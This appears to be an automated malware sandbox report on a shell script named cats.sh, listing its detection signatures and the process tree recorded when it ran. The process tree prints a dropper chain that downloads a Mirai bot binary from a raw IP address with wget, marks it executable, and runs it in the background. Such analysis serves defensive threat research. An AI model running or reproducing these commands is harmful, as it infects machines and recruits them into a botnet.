Analysis
- max time kernel
10s - max time network
129s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20261019-en - resource tags
- submitted
09/11/2026, 06:32
General
- Target cats.sh
- Size 537B
- Sample261109-hapc7svv9n
- SHA256 1985cefcce24e91e2acee27754b68cee0bf285115a917d403eafddc3e2c54c61
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 1 IoCs
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/cats.sh/tmp/cats.sh1⤵
-
/bin/unameuname -m2⤵
-
-
/usr/bin/wgetwget http://45.135.194.52:8081/mirai.x86_64 -O /tmp/bot2⤵
- Writes file to tmp directory
-
-
/bin/busyboxbusybox wget http://45.135.194.52:8081/mirai.x86_64 -O /tmp/bot2⤵
-
-
/bin/chmodchmod 777 /tmp/bot2⤵
- File and Directory Permissions Modification
-
-
/bin/sleepsleep 102⤵
-
-
/usr/bin/nohupnohup /tmp/bot2⤵
- Executes dropped EXE
-
-
/tmp/bot/tmp/bot2⤵
-
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/bin/sh/bin/sh /tmp/bot2⤵
-